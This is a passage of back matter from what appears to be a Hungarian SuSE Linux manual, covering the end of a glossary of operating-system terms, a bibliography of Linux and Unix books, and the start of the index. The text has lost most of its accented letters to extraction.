H. Szjegyzk Mounting Lsd becsatols. Mountpoint Lsd becsatolsi pont. Multiprocessing Lsd tbbrsztvev s feldolgozs. o Multiprocessor Tbbprocesszoros rendszer, lsd tbbrsztvev s feldolgozs. o Multitasking Lsd tbbfeladatos feldolgozs. Multiuser Lsd tbbfelhasznls. Network Angol, lsd hlzat. NFS Angol, lsd hlzati fjlrendszer. Operating System Angol, lsd opercis rendszer. Opercis rendszer Angolul: Operating System. Az opercis rendszer egy olyan program, amely folyamatosan fut a httrben s felgyeli a szmtgp alapvet m veleteit. Az opercis rendszer feladata irnytani az sszes o u gpspecikus er forrst. Linux esetben ezt a kernel valstja meg, o adott esetben modulokon keresztl. Nhny jl ismert opercis rendszer: Linux, AmigaOS , MacOS , OS/2 , UNIX , Windows NT/2000 s Windows 95/98/ME . OS Angol, lsd opercis rendszer. Parancssor Ha burokban dolgozunk UNIX alatt, akkor parancssorban vagyunk. Ez azt jelenti, hogy brmely folyamatnak, amelyet bevittnk a burokba lehet sajt parancssora (pl. az ls parancsnak megadhatunk opcikat, hogy megvltoztassuk a viselkedst). Path Angol, lsd keressi t. PC szemlyi szmtgp Angolul: personal computer. A nagy szmtgpekkel ellenttben a "szemlyi" szmtgp egy kis gp. A 80-as vek elejt l ez ltalban egy o Intel x86/88 processzoron alapul kisszmtgpet jelent az IBM -t l, o habr az els ilyenfajta gp egy Apple volt a nv most jra visszajn a o PowerPC formjban. Pipe Angol, lsd cs vezetk. o 569

H. Szjegyzk Process Angol, lsd feladat. Processzus Lsd feladat. Process(z)or Lsd kzpontiegysg. Processzor A processzor az agya minden egyes szmtgpnek, vgrehajtja a felhasznl vagy egy program gpikd parancsait. A processzor vezrli az egsz rendszert s felel a szmtgp teljestmnyrt. Felfoghat, gyis mint a rendszer kapcsoltblja. Vannak azonban olyan szmtgpek is, amelyekben tbb, mint egy processzor van. Linuxban ezt symmetric multiprocessing-nek, vagy SMP-nek hvjuk. Az Intel processzorok az x86sorozatban klnbz mdon m kdheto u nek, s jl meg kell klnbztetnnk azokat egymstl: Vals md: az "eredeti" md. Lass s elavult az alkalmazsokra ("16-bites szoftverre"). Ebben a m kdsi mdban nincsenek vdett u terletek/parancsok. A gp bekapcsolskor, vagy jraindtskor ( reset) ebben a mdban indul el. Tovbb a szegmensek mrete itt 64kB-ra van korltozva. Vdett md: (286-os processzortl felfel hasznlhat). Vdett md m kds az, amiben klnbsget tesznek a klnbz el jogok llau o o pota kztt. Csak az gynevezett "Ring0" processzor llapotban van "minden megengedve" (ez az, ahol a Linux kernel is fut), a "Ring3"mal szemben (a legalacsonyabb el jog rteg) ahol az alkalmazsokat o tartjk (belertve a rendszergazdt is). 386-os processzoroktl felfel, szegmentls is lehetsges, ami lefedi az egsz cmzsi terletet, lehet v tve a lineris memria modeleket (at models). Csak ebben a o mdban kpes a CPU kihasznlni teljes kapacitst. A Linux a 386-os processzort (s az a flttieket), kizrlag "vdett mdban" hasznlja. Jelenleg, a kvetkez processzor architektrkra elrhet a Linux: Intel o o x86, DEC alpha, Motorola m68k, Sparc, PowerPC, MIPS, ARM. Proc-lesystem A /proc fjlrendszer, ellenttben az adathordozkon hasznlatos fjlrendszerrel, nem tartalmaz semmilyen statikus adatot, a kernel ezt dinamikusan hozza ltre, sajt informciibl. Ezt f leg a rendszerprogramok o tmogatsra hasznljk (pl. ps, mount), a mindg friss kernel adatokkal. Lehet v teszi kernel parameterek megvltoztatst is futsid alatt. o o Prompt Egy szveges shell-ben, azt a helyet ahov berhatjuk a parancsokat az opercis rendszer-nek, prompt-nak hvjuk. A prompt tartalmazhat felhasznl nevet, a gp nevt, a jelenlegi id t s bizonyos ms adatoo kat. Legtbbszr, a kurzor ll kzvetlen a prompt utn. Ha a prompt jra megjelenik egy parancs utn, az azt mutatja, hogy a rendszer ksz elfogadni tovbbi parancsokat. 570

H. Szjegyzk Protokoll Protokollok szervezik akr a hardveren, vagy a szoftveren a kommunikcit a klnbz gpek kztt a o hlzat-ban. Ezek hatrozzk meg az adattovbbts formjt, melyik gpnek van vezrlse melyikek felett stb. Ilyen protokollokba tartozik az FTP, UDP, TCP s HTTP. Puffer A puffer egyfajta kzvett memria, amely lehet sget ad arra, hogy o o felgyorstsa az elrst, mialatt adatot mozgatunk klnbz mdiumok o s eszkzk kztt, amelyek eltr sebessggel m kdnek. Linuxon tbb o u puffer is van. RAM Lsd f memria. o RAM Random Access Memory A zikai memria, amely korltozott kapacits, de rsi s olvassi clbl relatv gyors sebessggel elrhet . o Rendszergazda Angolul "System Administrator", vagy a UNIX szlengben "root". Az a szemly, aki egy komplex rendszer vagy hlzat karbantartsrt felel, s azt felgyeli. ltalban, a rendszergazda az egyedli aki a rendszer minden rszt elrheti (root jogosultsg). Rendszermag Angol, lsd kernel. Reset Ha a gp lefagy s nem vlaszol a billenty k lenyomsra, valszn u u leg egy "vgtelen hurok" csapdba esett. Az egyetlen megolds az ilyen problmra, gp visszajuttatsa stabil llapotba. Ezt hvjuk resetnek. Reset utn, a gp pontosan ugyanabban az llapotban van, mint indulskor volt. Egy resetet mindig el nybe kell helyeznnk az ram lekapcsolsval o szemben, mivel ez kevesebb terhelsnek teszi ki az elektronikus alkatrszeket. FONTOS! Amint azt taln mr kitalltuk, reset utn minden adat ami a gp RAM-jban volt visszavonhatatlanul elvsz! Rlogin remote login A tvoli bejelentkezs (remote login) hasznlatval, bejelentkezhetnk egy tvoli gpre az Internet-en keresztl, mintha ott lnnk annl a konzol-nl. Ha egy X kiszolgl fut mindkt gpen, mg egy X alkalmazs kimenett is megjelenthetjk a helyi kijelz n, ha a DISPLAY o vltozit helyesen lltjuk be. ROM Read-only Memory Egy CD j plda a ROM-ra. Root Bizonyos rtelemben a rendszergazda, mskor a fjlrendszer gykere. 571

H. Szjegyzk Root directory Egy fjlrendszer legfels szint knyvtra. Az sszes tbbi knyvtro u ral ellenttben, a root knyvtrnak nincs szl knyvtra. A .. a o knyvtrra sajt magra mutat. UNIX-szon, a root knyvtrt /-knt ismerjk. RPM (rpm) SuSE Linux-ban, az 5.0 verzitl felfel, az RPM (rpm) (RPM Package Manager) a szabvny csomag kezel . Az rpm-mel, szoftver csomagokat o telepthetnk fel- s le, valamint az RPM adatbzisbl lekrdezseket vgezhetnk el. Sajtknyvtr A legtbb felhasznli cselekmny kiindulpontja a sajtknyvtr. ltalnossgban, ez az a hely ahol a sajt fjljainkat elhelyezhetjk. Csak a rendszergazda s mi rhetjk el ezt a knyvtrat. UNIX rendszerekben a sajtknyvtr elhelyezkedst a HOME krnyezeti vltoz hatrozza meg. Shell A burok (hj), vagy parancsrtelmez (angolul: shell) az alapvet intero o fsz az opercis rendszer rendszermagjhoz. Parancsokat adhatunk meg a shell hasznlatval. A shell egy parancssort biztost. Azrt, hogy a feladatok automatikusan fussanak, a legtbb shell sajt scripting nyelvet biztost. Ezeket a programokat, shell szkripteknek hvjuk, s inteligens batch fjloknak tekinthetjk oket. Shell pldk: bash , sh , s tcsh . SMP Szimmetrikus tbbrsztvev s feldolgozs (angolul: Symmetric Multio processing), lsd tbbrsztvev s feldolgozs. o Szabvny ki/be (Standard in/out) Minden feladatban hrom csatorna ltezik, ahol adatokat lehet rni s olvasni. Ezek, a szabvny bemenet (standard input (stdin)), a szabvny kimenet (standard output (stdout)) s a szabvny hibakimenet (standard error (stderr)). Ezek a csatornk bizonyos eszkzkhz vannak belltva alaprtelmezsben. A szabvny bemenet a billenty zetre van belltva, a u szabvny kimenet s szabvny hiba a kperny re. A shell tulajdonsga o alapjn, ezek a csatornk tirnythatk. Ha a karakterek nem a billenty zetr l kerlnek beolvassra, hanem egy fjlbl, akkor ezt, szabvny u o tirnyitsknt ismerjk. Shell mdban, az tirnytst az albbi parancs hvja meg: < (stdin), > (stdout) s 2> (stderr). Lsd pipe. Szerkeszt o A szerkeszt olyan program, amellyel szveget vltoztatunk (pl. mialatt o bevisszk a szveget). Jl ismert szerkeszt k Linuxon a GNU Emacs o (emacs) s a UNIX vi szerkeszt je. o Szerver Egy szerver, rendszerint egy igen er s szmtgp ami ms gpeket szolo gl ki, amik hlzat-on keresztl vannak kapcsolatban s szolgltatst vagy adatokat nyjt nekik. A gpek mellett, vannak programok is, amiket 572

H. Szjegyzk szervernek hvnak. Ezek a programok is szolgltatst tesznek elrhet v. o Pldul az X Szerver is szoftver szerver. Szimblikus-lnc Angolul: symbolic-link. Lsd lnc. Swap A virtulis memriamodelleknek kell egy olyan trolterlet, amit a RAM memria lapok ideiglenes cserlgetsre hasznlhatnak (lsd RAM). Linuxban, ez lehet egy specilis partci vagy egy fjl is. Nagyjbl a zikai RAM memria s a swap ltal ltrehozott elrhet memria o egyttesen adja a maximlisan elrhet virtulis memria teljes mrett. o Symbolic link Lsd szimblikus-lnc. System administrator Lsd rendszergazda. Task Angol, lsd feladat. Telnet A Telnet kapcsolatot ltest egy (tvoli) gppel s megprbl bejelentkeztetni minket, ha van jogosultsgunk. Lehet leg ne hasznljuk, mert Telnet o kapcsolaton az adatok (s gy a jelszavunk is) kdolatlanul haladnak t. Hasznljunk helyette ssh -t. Terminl Kperny s billenty zet egyttese, amely nem ignyel szmtsi kpeso u sget. Hasznlatos munkallomsokon, ahol egy igazi terminlt emullnak. Titkosts A fjl titkostott adatait elrejti a nem kvnt betolakodk el l. Hasznos, o ha nem biztonsgos csatornn kldjk keresztl a fjlt (pl. az Interneten), s meg akarjuk el zni, hogy nem hitelestett idegenek nzzk meg o adatainkat (pl. mialatt hitelkrtya szmot, jelszt, bizalmas informcit, stb. kldnk). A kulcsmret kiemelked en fontos a titkosts biztonsga o szempontjbl (tl kicsi kulcs, megfejthet egy alkalmas programmal); o lsd a 18 . fejezetben (477. oldal). Nhny orszgban az adattitkostst jogszablyok korltozzk, szval ezekben az orszgokban lehet, hogy nem hasznlhatjuk a kvetkez o programokat: SSH , PGP vagy SSL -en nem kezelhetjk a http hlzatot, csak kisebb kulccsal. Br a SuSE elrhet v teszi ezeket az emltett programokat ebben a kiao dsban (nemsokra jogilag engedlyezettek lesznek ezekben az orszgokban is), neknk kell ellen riznnk, hogy szabad-e hasznlnunk az adott o orszgban a SuSE nem felel s ezrt. o Tbbfeladatos feldolgozs Egy olyan opercis rendszert, amely kpes tbb programot egyidej leg u futtatni, tbbfeladatos feldolgozs rendszernek hvjuk: 573

H. Szjegyzk Kezdemnyez tbbfeladatos feldolgozs (angolul pre-emptive multio tasking): az opercis rendszer felel s a kzpontiegysg (CPU) idejt o megosztani a feladatok kztt. Egyttm kd tbbfeladatos feldolgozs (angolul cooperative multiu o tasking): a feladat adja vissza a CPU id t. o Amint lthatjuk az els vltozat a jobb megolds, mivel egyetlen feladat o sem tudja blokkolni a CPU-t. A Linux vals kezdemnyez tbbfeladatos o feldolgozst knl (real pre-emptive multitasking). Tbbfelhasznls Angolul: multiuser. Ha tbb felhasznl akar dolgozni ugyanazon a gpen, akkor szksges a tbbfeladatos feldolgozs. Az olyan opercis rendszert, amely ezt a kpessget nyjta, tbbfelhasznls rendszernek nevezzk. Tbbrsztvev s feldolgozs o Angolul: multiprocessing. Ha a szmtgpnkben tbb processzor van, akkor ezt tbbprocesszoros (angolul: multiprocessor) rendszernek vagy tbbrsztvev s feldolgozsnak (angolul: multiprocessing) o nevezzk. Linuxnl az SMP szakkifejezssel tallkozhatunk, amely jelentse: Szimmetrikus tbbrsztvev s feldolgozs (angolul: Symmetric o Multi-processing), amely egy specilis formja a tbbrsztvev s feldolo gozsnak. UNIX A UNIX egy opercis rendszer, amely szles krben elterjedt munkallomsokon. A UNIX ltfontossg dolgokat tmogat, mint pl. klnbz o szmtgpek futtatsa egy hlzatban. A UNIX-ban van egy rendszermag, egy shell, s az alkalmazsok. A kilencvenes vek eleje ta van szabadfelhasznls verzi PC-re: a Linux. UMSDOS Egy olyan specilis fjlrendszer Linuxra, amely lehet v teszi a "UNIXo komfortot" (belertve a hossz fjlneveket s jogosultsgokat) norml MS-DOS fjlrendszerben. Ez ugyan jval lassabb, mint a "norml" Ext2 fjlrendszer, de jl hasznosthat bemutat (demonstrcis) clokra, mivel nem ignyel extra partcit. URL "Egysges er forrs meghatroz", angolul "Uniform Resource Locao tor", amellyel internetes szolgltatsok s protokollok vlaszthatk ki. A WWW esetben a "http://kiszolglnv:port/knyvtr/fjl" alakban. Egy vals plda a "http://www.suse.de/en/index.html", ahol a protokoll a http, a gp neve a www.suse.de, a port nincs kitltve (de alaprtelmezetten 80), mg a knyvtr az eng, a fjl pedig az index.html. Tovbbi protokollok: ftp, gopher, wais, telnet, shhtp, stb. Ezek hasznlata hasonl a http-hez. tvonal Angolul: path, (svny). Egy fjl az tvonal segtsgvel egyrtelm en u meghatrozhat a fjlrendszer-ben. Unixban, a klnbz szinteket a o "slash" / hatrolja el. Az tvonalaknak kt fajtja van: 574

H. Szjegyzk Relatv tvonal: angolul Relative path. A fjl vagy knyvtr helye az az aktulis knyvtrhoz viszonytva. Abszolt tvonal: angolul Absolute path. A fjl vagy knyvtr helye a gykr knyvtrhoz kpest. VESA Video Electronics Standards Association A grakus krtyk s monitor gyrtk szvetsge, hatrozza meg a szmtgp kperny jvel kapcsolatos klnbz szabvnyokat. Az elrhet o o o vide mdokat, a videjel rajelt s a klnbz felbontsokat a VESA o bizottsg szabvnyostotta, ugyangy, mint a VGA-BIOS fggvnyhvsait. A szvetsg honlapja megtallhat az albbi cmen: http://www.vesa.org. Virtulis memria Lsd memria. WAN wide area network A LAN ellentte. Az ilyen hlzathoz trben elhatrolt szmtgpek csatlakoznak. Wildcards Angol, lsd helyettest karakterek. o X Szerver Az olyan gpek hasznlhatk grakus felhasznl interfsz szolgltatsok nyjtsra, amelyeken fut egy X szerver. Az X szerver egyik fontos feladata a kperny k kezelse. Legtbbszr egy terminl egy kperny vel o o rendelkezik. A kperny nevt a DISPLAY krnyezeti vltozban lehet o belltani. A vltoz formtuma: <gp-neve>:<kperny (sor)szma>. o Pl. meggyfa:0. Az rlogin hasznlathoz szksges ismerni a kperny nk nevt. o X Window rendszer Lsd X Window System. X Window System Programok, protokollok s rutinok gy jtemnye, melyek feladata hogy u szervezzenek s kezeljenek egy grakus felhasznli interfszt. Az X Window rendszert (rviden X) a MIT-en (Massachusetts Institute of Technologie) fejlesztettk ki, eredetileg Athena projekt nven. Az X legnagyobb el nye ms rendszerekkel szemben (mint az MS-Windows, o s a GEM) exibilitsa s hlzati kpessge. Pldul lehetsges az, hogy a program egy msik gpen fusson, amg a kimenete t van irnytva a mi gpnkre s ott gy jelenik meg mint a tbbi alkalmazsunk. Megjegyzs: A neve nem "X-Windows", hanem egyszer en X Window u System.

575

H. Szjegyzk

576

Irodalomjegyzk
A LMESBERGER, Werner: LILO Users guide, 1994. (see le /usr/doc/lilo/ user.dvi) [Bai97] BAILEY, Edward C.: Maximum RPM. Red Hat, 1997. (ISBN 1-888172-78-9) [CAR93] C OSTALES, Bryan ; A LLMAN, Eric ; R ICKERT, Neil: sendmail. OReilly & Associates, Inc., 1993. (ISBN 1-56592-056-2) [CB96] C HESWICK, William R. ; B ELLOVIN, Steven M.: Firewalls und Sicherheit im Internet. Addison Wesley GmbH, 1996. (ISBN 3-89319-875-x) [CR91] C AMERON, Debra ; ROSENBLATT, Bill: Learning GNU Emacs. OReilly & Associates, Inc., 1991. (ISBN 0 937175-84-6) [CZ96] C HAPMAN ; Z WICKY: Einrichten von Internet Firewalls. Sicherheit im Internet gewhrleisten.. OReilly & Associates, Inc., 1996. (ISBN 3-930673312) [Daw95] DAWSON, Terry: Linux NET-2/NET-3 HOWTO, v2.8, 07 Jan 1995. (see le /usr/doc/howto/NET-2-HOWTO) [FCR93] FANG, Chin ; C ROSSON, Bob ; R AYMOND, Eric S.: The Hitchhikers Guide to X386/XFree86 Video Timing (or, Tweaking your Monitor for Fun and Prot), 1993. (see le /usr/X11/lib/X11/doc/VideoModes.doc) [Fri93] F RISCH, leen: Essential System Administration. OReilly & Associates, Inc., 1993. (ISBN 0-937175-80-3) [Gil92] G ILLY, Daniel: UNIX in a nutshell: System V Edition. OReilly & Associates, Inc., 1992. (ISBN 1-56592-001-5) A [GMS93] G OOSSENS, Michel ; M ITTELBACH, Frank ; S AMARIN, Alexander: The LTEX Companion. Addison Wesley GmbH, 1993. (ISBN 3-54199-8) [Gri94] G RIEGER, W.: Wer hat Angst vorm Emacs?. Addison Wesley GmbH, 1994. (ISBN 3-89319-620-X) [GS93] G ARFINKEL, Simson ; S PAFFORD, Gene: Practical UNIX Security. OReilly & Associates, Inc., 1993. (ISBN 0-937175-72-2) [Her92] H EROLD, H.: UNIX Grundlagen. Addison Wesley GmbH, 1992. (ISBN 3-89319542-8) [HHMK96]H ETZE, Sebastian ; H OHNDEL, Dirk ; M LLER, Martin ; K IRCH, Olaf: Linux Anwenderhandbuch. 6. LunetIX Softfair, 1996. (ISBN 3-929764-05-9) [Hof97] H OFFMANN, Erwin: EMail-Gateway mit qmail. In: iX 12 (1997), S. 108ff [Hun95] H UNT, Craig: TCP/IP Netzwerk Administration. OReilly & Associates, Inc., 1995. (ISBN 3-930673-02-9) [Kie95] K IENLE, Micheal: TIS: Toolkit fr anwendungsorientierte Firewall-Systeme. In: iX 8 (1995), S. 140ff 577 [Alm94]

Irodalomjegyzk [Kir95] [Kof95] [Kop94] [Kun95] [Lam90] [Lam94] [Lef96a] [Lef96b] [OT92] [Per94] [Pug94] [SB92] [Sch98] [Sto98] [The96] [TSP93] [Wel94] [WK95] K IRCH, Olaf: LINUX Network Administrators Guide. OReilly & Associates, Inc., 1995. (ISBN 1-56592-087-2) KOFLER, M.: Linux. Addison Wesley GmbH, 1995. (ISBN 3-89319-796-6) A KOPKA, Helmut: LTEX-Einfhrung. Addison Wesley GmbH, 1994. (ISBN 389319-664-1) K UNITZ, Ulrich: Sicherheit fast kostenlos: Einrichtung eines kostenlosen FirewallSystems. In: iX 9 (1995), S. 176ff L AMB, Linda: Learning the vi Editor. OReilly & Associates, Inc., 1990. (ISBN 0-937175-67-6) A L AMPORT, Leslie: LTEX Users Guide and Reference Manual. Addison Wesley GmbH, 1994. (ISBN 0-201-52983-1) L EFFLER, Sam: HylaFAX Home Page, 1996 L EFFLER, Sam: TIFF Software, 1996 OR EILLY, Tim ; T ODINO, Grace: Manging UUCP and Usenet. OReilly & Associates, Inc., 1992. (ISBN 0-937175-93-5) P ERLMAN, G.: Unix For Software Developers. Prentice-Hall, 1994. (ISBN 13932997-8) P UGH, K.: UNIX For The MS-DOS User. Prentice-Hall, 1994. (ISBN 13-1460773) S CHOONOVER, M. ; B OWIE, J.: GNU Emacs. Addison Wesley GmbH, 1992. (ISBN 0-201-56345-2) S CHEIDERER, Jrgen: Sicherheit Kostenlos - Firewall mit Linux. In: iX 12 (1998) S TOLL, Clifford: Kuckucksei; Die Jagd auf die deutschen Hacker, die das Pentagon knackten. Fischer-TB.-Vlg., 1998. (ISBN 3596139848) T HE XF REE 86TM -T EAM: XF86Cong(4/5) - Conguration File for Xfree86TM , 1996. Manual-Page zu XFree86TM T ODINO, Grace ; S TRANG, John ; P EEK, Jerry: Learning the UNIX operating system. OReilly & Associates, Inc., 1993. (ISBN 1-56592-060-0) W ELSH, Matt: Linux Installation and Getting Started. 2. S.u.S.E. GmbH, 1994. (ISBN 3-930419-03-3) W ELSH, Matt ; K AUFMAN, Lars: Running Linux. OReilly & Associates, Inc., 1995. (ISBN 1-56592-100-3)

578

Trgymutat
LILO , 104 .susefaxrc /opt, 68 SuSEFax, 206 /etc/host.conf, 463 .susephone /etc/hosts, 463 SuSEFax, 206 /etc/resolv.conf, .tar, 501 463 .tar.gz, 501 RPM (rpm), 570 .tgz, 501 kdm, 469 /etc/conf.modules, xdm, 469 375 SaX2 , 236, 270 /etc/fstab, 93 SuSE Linux /etc/init.d/rc, 458 features, 435 /etc/inittab, 455 SuSE Linux Solutions AG, /etc/modules.conf, 523 375 XFree86, 4 /etc/ppp/ppp-down, 194 YaST , 5, 43 /etc/printcap, 354 YaST /etc/rc.cong, 460 telepts kzben, 33 /etc/rc.config, 114, 461 1024 cylinders /etc/security/undo_harden_suse.pl, LILO problems, 137 483 1TR6, 176 /sbin/SuSEcong, 459, 460 3COM 3c501, 398 /sbin/init, 455 3COM 3c503, 392, 398 /sbin/init.d/rpc, 168 3COM 3c505, 398 /usr/sbin/harden_suse, 482 3COM 3c507, 398 /var/lib/apslter/SETUP, 3COM 3c509, 398 357 3COM 3c515, 398 $HOME, 291, 361 3COM 3c579, 398 lnv, 557 3COM 3c590, 398 tvonal, 572 3COM 3c900, 398 l rendszer (live lesyso 3Com, 382 tem), 92 3dpixm, 303 Applixware, 469 3dpixms, 303 Applixware, 67, 69, 420 reboot, 469 a2ps, 355, 356 aaa_base, 425 shutdown, 469 Ablak, 557 Ablakkezel , 557 o Adabas, 469 Adabas D, 6, 524 Adaptec AHA-152x/151x/1505, 385, 397 AHA-154x, 386 AHA-274x, 386 AHA-284x, 386 AHA-294x, 386 Adaptec 2920, 388, 397 Adaptive Answer Support HylaFAX, 220 adding users, 491 administration user, 111 YaST , 100 ADSL, 185 Advanced Power Management, lsd APM AdvanSys, 387 afpd, 230 AfterStep, 283, 287, 297 Afterstep, 300 afterstep, 285, 300 afterstep, 287, 300 aic7xxx, 386 AIRCOP, 120 Alap Linux, 557 ALICE, 54, 55 Alien, 434 alien, 434 AM53/79C974, 387 AMD 53/79C974, 387 579

Trgymutat AMD Athlon / Intel Pentium III, 377 AmigaOS, 567 Andrew Tridgell, 223 Apache, 435 apache, 448 APM, lsd PCMCIA, APM, 342 selecting a kernel, 103 apmd, 338, 343 apmd, 344 Apple, 567 Netatalk, 230 Apple Macintosh System 7, 561 applications conguration les, 304 Applix, 3 apslter, 102, 103, 350, 354362, 368, 369 checklist, 369 conguration, 357, 360 network printer, 361 printer queues, 356 apslterrc, 360 Arcad, 69 archiving data, 501 arena, 7, 468 Argus, 470 Arkeia, 470 AT1700, 399 ATAPI, 557 ATAPI CD-ROM hangs, 61 atd, 467 authentication, 423 autoexec.bat, 141 autofs, 466 automounter, 466 AVM Fritz XPCDr., 190 AVM-B1, 176 awk, 4 az X belltsa, lsd telepts, az X belltsa Aztech CD-ROM, 403 background picture, 296 backup, 113 baseLinux 580 boot methods, 51 bash, 498, 510, 533, 534, 570 basic commands, 495 Becsatols, 558 Becsatolsi pont, 558 Bet sz, 558 u billenty zet, lsd YaST2, u billenty zet u bin/faxrcvd, 222 bind, 158, 489 bind, 201 BIOS, 558 bitmap, 298 Biztonsgi ments, 558 boot, 117 additional systems, 119 booting DOS, 118 concepts, 118 disk, 119 loader, 117 manager, 117 sector, 117 boot disk, 119 create, 131 boot sector, 118 boot.local, 459 boot.sys, 119 booting, 455, 492, 535 base-Linux, 51 bootmanager, 119 concepts, 118 initial ramdisk, 437 root partition, 384 starting via loadlin, 141 bootmanager boot.sys, 119 LILO , 119 OS/2, 119 Windows NT, 119 bootmenu, 141 Bowman, 283, 297, 300 bowman, 285, 300 BSD, 508 bttv, 427 bugs, 542 bus mouse, 263 Business Support, 522 BusLogic, 387 Busmouse Logitech, 394 buying a PC, 446 C, 373 cable modems, 184 Cabletron E21XX, 392 Cabletron E21xx, 399 CardBus, lsd hardware, CardBus cardctl, 341 Cardmanager, 334, 335, 340 cardmgr, 334 cardmgr, 334, 335 cat, 498 CD, 542 cd, 502 CD damaged, 61 CD live system, 108 CD-ROM ATAPI, 389 Aztech, 394, 403 EIDE, 389 Goldstar, 394, 403 Mitsumi, 394, 403 Mitsumi FX-001(D), 394, 403 Mitsumi Multisession, 394, 403 Mozart, 394, 404 Optics Storage, 395, 404 Panasonic, 395, 405 Philips CM206, 395, 404 Sanyo, 395, 404 Sony CDU31A, 395, 404 Sony CDU33A, 395, 404 Sony CDU535, 395, 405 SoundBlaster Pro 16, 405 CD-ROM drive hangs, 65 installation, 101 parallel port, lsd hardware, parallel port CD-ROM drives hangs, 62 CD-ROM meghajt, 558 prhuzamos porton, 60 CD-ROM meghajtk tmogatsa Linux alatt, 60

Trgymutat CD-ROM drive hangs, 61 CD-ROM driver is missing, 61 cdb, 258, 420 CDE, 285 cde, 285 CDEsim, 300 cdesim, 300 CERT, 481 change hostname, 106 change job parameters SuSEFax, 210 changes, 427 chat, 172, 193, 194, 196 check, 535 chmod, 502 Chris Mason, 91 chroot environment, 93 clock chip, 266 CMOS setup, 117 Coherent, 508 color depth, 274 colors, 297 colortbl, 422 command, 493 df, 504 du, 506 free, 504 kill, 506 ps, 506 pstree, 507 top, 507 ulimit, 505 w, 506 command not found, 471 commands basic, 495 Compaq, 3 compiling, 540 Computer), 64 conf.modules, lsd modules.conf conf.modules, 375 cong.sys, 141 conguration, 94 changing, 95, 459 e-mail, 200 LILO , 122 loading, 94 net time, 468 network, 155 saving, 95 X11, 238, 263 conguration le, 461 conguration les, 156 congure XFree, 114 conguring system security, 114 connecting a modem, 186 console, 469 virtual, 564 consoles virtual, 495 core les, 505 Corel, 3 cp, 499 crash, 535 crash course, 491 CRC error, 65 creating directory, 495 Cron, 425 cron, 427, 436, 470, 482 cron, 427 cron daemon, 470 cron.daily, 470, 471 crontab, 202 daily, 425 Cs , 558 o Cs vezetk, 558 o csomag 3dpixm, 303 3dpixms, 303 aaa_base, 425 apmd, 344 bind, 201 bttv, 427 cdb, 258, 420 changes, 427 colortbl, 422 cron, 427 dhclient, 426 dhcpd, 426 dochost, 447 fhs, 424 firewals, 197 g3utils, 205 glibndev, 423 glimpse, 424 glutdemo, 281 gnadmin, 427 gnlibs, 427 gnlibsd, 423 gnuhtml, 424 gnutils, 427 gs_x11, 211 gtkndev, 423 gv, 211 gxmhtml, 427 howto, 345 htdig, 447 hylafax, 205, 214, 215 hyperref, 422 i4l, 460 i4ldoc, 184 imlibdev, 423 imwheel, 279 inetcfg, 184, 192, 193 irda, 345 isdn4linux, 175 jade_dsl, 421, 428 kernmod, 425 kernmods, 425 kivlasztsa, 36 knfsd, 424, 466 latex-cover, 214 leafnode, 203 lx_suse, 176 makewhat, 426 mgetty, 205, 221 ncurses, 426 netatalk, 230, 231 nfsserv, 424 nkita, 425 nkitb, 425 opso, 424 opso_smp, 424 opsod_up, 424 opsodsmp, 424 pcmcia, 340, 342 pg_datab, 427 phpdoc, 426 postfix, 426 postgres, 422, 427 ppp_nt, 192 roxen, 426 581

Trgymutat roxenint, 427 roxenssl, 426 rzsz, 428 sax, 236 sax2, 236 sdb_en, 183 sendfax, 205 sendmail, 460 shlibs5, 422 sp, 421 squid, 426 squid2, 426 susefax, 206 susehelp, 183 susehilf, 222 tiff, 211 toppp, 192 ttmkfdir, 278 wget, 432 x3dlabs, 421 xcyrix, 421 xdevel33, 436 xformsd, 423 xfsetup, 236 xglint, 421 xkeycaps, 280 xntp, 469 xsis, 421 xvga16, 236 ypclient, 428 ypserv, 427 yudit, 278 Ctwm, 283, 300 ctwm, 285, 300, 534 curses, 436 cursor, 298 cut-and-paste, 542 Cyberscheduler Software, 69 Cygnus Source-Navigator, 69 Cyrix, lsd processzor, Cyrix 686 D-Link DE620, 403 Dmon, 559 daemon named, 466 nntpd, 467 582 nscd, 466 printing, 467 routed, 466 rwhod, 466 data backup, 501 database PostgreSQL, 422 DB2, 470 DCF77, 469 DDC, 558 de-fragmenting, 543 DE203, 400 DE204, 400 DE205, 400 DEC, 235 defrag, 56, 57 Denial of Service, 480 depmod, 374 desktop background, 296 colors, 297 conguration, 304 cursor, 298 fonts, 297 icons, 297 devices oppy drive, 529 IDE hard drive, 529 SCSI hard drive, 529 df, 504 dhclient, 200 dhclient, 426 DHCP, 184, 467 client conguration, 107 conguring, 106 dhcpd, 426 diald, 200, 466 Digital, 399 Digital DEPCA, 399 Digital Research, 561 directories important, 528 directory change, 495 creating, 495 remove, 495 directory tree, 527 Dirk Hohndel, 235 disk drives, 393 DISPLAY, 569, 573 DNS, 200, 464, 465 timeout, 425 DNS domain, 166 DocBook, 422 dochost, 69 dochost, 447 documentation, 446 documentation server, 468 docview SuSEFax, 211 dokumentci, 7 olvass, 9 domain name, 152 DOS bootmenu, 141 Linux partcik hozzarendelse, 57 Linux partcik ltrehozsa, 56 DOS commands, lsd mtools DOS disks access in Linux, 510 DOS mode, lsd Windows 95/98 DOS setup, 50 Drtposta, 559 drive label has changed, 64 Drivespace, 64 DSS1, 176 du, 506 Duesentrieb, 6 dummy device, 463 dump, 76 dumpe2fs, 452 dvips, 355 DyDe, 288 dynamic IP addresses, 464 Dzskerek, 559 E-mail, 559 e-mail, 171, 200 conguration, 200 e2fsck, 450453 manpage, 535 2fsck, 535 Eagle, 69

Trgymutat Eberhard Moenkeberg, 9 Editors vi, 514 editres, 305 egr nem m kdik, 19 u egr hozzadsa, lsd YaST2, egr hozzadsa EIDE Special chip sets, 428 EIDE chipsets, 390 Elrsi t, 559 ELF, 559 els Linux telepts, 15 o els telepts, 28 o dvzl kperny , 16 o o a boot manager belltsa, 22 csomagok teleptse, 37, 42 felhasznl ltrehozsa, 24 hlzat belltsa, 40 indts a msodik CD-r l, o 58 indtlemez ltrehozsa Unix alatt, 59 kszljnk fel, 15 modem, 41 partcinls, 55 root jelsz, 41 szoftver teleptse, 37 szoftver-kivlaszts, 21 YaST2, 15, 17 Emacs, 4, 7, 205, 421, 561 emacs, 70 emacs, 6, 7, 570 emergency system, 449 emm386.exe, 44, 50, 51 Enlightenment, 285 Eszkz, 559 Ethernet, 559 EtherTeam 16i/32, 401 Eumex 322 PCi, 190 Eumex 404 PC, 190 ex, 514, 515 explanation of commands, 503 exporting, 168 EXT2, 559 extended partitions, 89 external viewer SuSEFax, 210 Fjl, 559 Fjlrendszer, 560 Fkusz, 560 F memria, 560 o FAQ, lsd GY.I.K., 539 FAT32, 57 Fax Hylafax, 468 